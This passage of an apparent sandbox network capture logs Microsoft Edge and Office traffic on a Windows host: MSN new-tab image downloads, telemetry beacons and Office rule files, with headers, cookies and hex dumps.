Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1
2024-11-20 13:43:46 UTC	3758	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 33 3a 34 33 3a 34 33 2e 31 32 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 61 31 37 37 64 63 37 2d 37 61 63 63 2d 34 38 34 65 2d 39 66 30 30 2d 65 33 30 35 65 65 34 39 38 33 30 30 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 34 30 34 30 35 32 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-20T13:43:43.124Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"4a177dc7-7acc-484e-9f00-e305ee498300","epoch":"3440405234"},"app":{"locale
2024-11-20 13:43:46 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e9e0c957cafa4ceca63c27dfae4f2f11&HASH=e9e0&LV=202411&V=4&LU=1732110226645; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 13:43:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=224a2092b1e449b192ececfc3da37293; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 14:13:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3517 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 13:43:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49902	23.44.133.12	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:46 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:46 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=300367 Expires: Sun, 24 Nov 2024 01:09:53 GMT Date: Wed, 20 Nov 2024 13:43:46 GMT Connection: close
2024-11-20 13:43:46 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49900	23.44.133.12	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:46 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:46 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=318596 Expires: Sun, 24 Nov 2024 06:13:42 GMT Date: Wed, 20 Nov 2024 13:43:46 GMT Connection: close
2024-11-20 13:43:46 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49899	23.44.133.12	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:46 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:46 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=43780 Expires: Thu, 21 Nov 2024 01:53:26 GMT Date: Wed, 20 Nov 2024 13:43:46 GMT Connection: close
2024-11-20 13:43:46 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49901	23.44.133.12	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:46 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:46 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:23 GMT X-Datacenter: westus X-ActivityId: 9e7c39fd-58db-4e2c-957a-f382c8e91634 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=128660 Expires: Fri, 22 Nov 2024 01:28:06 GMT Date: Wed, 20 Nov 2024 13:43:46 GMT Connection: close
2024-11-20 13:43:46 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49903	23.44.133.12	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:46 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:47 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=416003 Expires: Mon, 25 Nov 2024 09:17:09 GMT Date: Wed, 20 Nov 2024 13:43:46 GMT Connection: close
2024-11-20 13:43:47 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49898	18.173.219.84	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:46 UTC	1012	OUT	GET /b2?rn=1732110223131&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CB77821E0D96F30089A6D1CE1DE6E70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1BCcf74d5b3bd6af5a9ecf31732110224; XID=1BCcf74d5b3bd6af5a9ecf31732110224
2024-11-20 13:43:47 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 20 Nov 2024 13:43:47 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 86f58a7ba760944d1efd0f2fe2242e1e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: FgA5ZQvokHE70d7B4rbub8xvQac4eH_jXqpfTWpIvfcJYCHiocSReg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:47 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:47 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134347Z-185f5d8b95csp6jmhC1NYCwy6s0000000a4000000000s9re x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:47 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49908	20.110.205.119	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:47 UTC	1261	OUT	GET /c.gif?rnd=1732110223130&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1b0e0e024edb478d929df10c5a0b7363&activityId=1b0e0e024edb478d929df10c5a0b7363&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=CFF88336D72F401D9AB7275CDCDAC0FA&MUID=0CB77821E0D96F30089A6D1CE1DE6E70 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1; SM=T
2024-11-20 13:43:47 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0CB77821E0D96F30089A6D1CE1DE6E70; domain=.msn.com; expires=Mon, 15-Dec-2025 13:43:47 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0CB77821E0D96F30089A6D1CE1DE6E70; domain=c.msn.com; expires=Mon, 15-Dec-2025 13:43:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 13:43:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 20-Nov-2024 13:53:47 GMT; path=/; SameSite=None; Secure; Date: Wed, 20 Nov 2024 13:43:47 GMT Connection: close Content-Length: 42
2024-11-20 13:43:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49906	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:47 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:47 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:47 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 6688a617-f01e-003d-7f1b-3bdd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134347Z-185f5d8b95c4hl5whC1NYCeex00000000aag000000000bbm Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 13:43:47 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:47 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
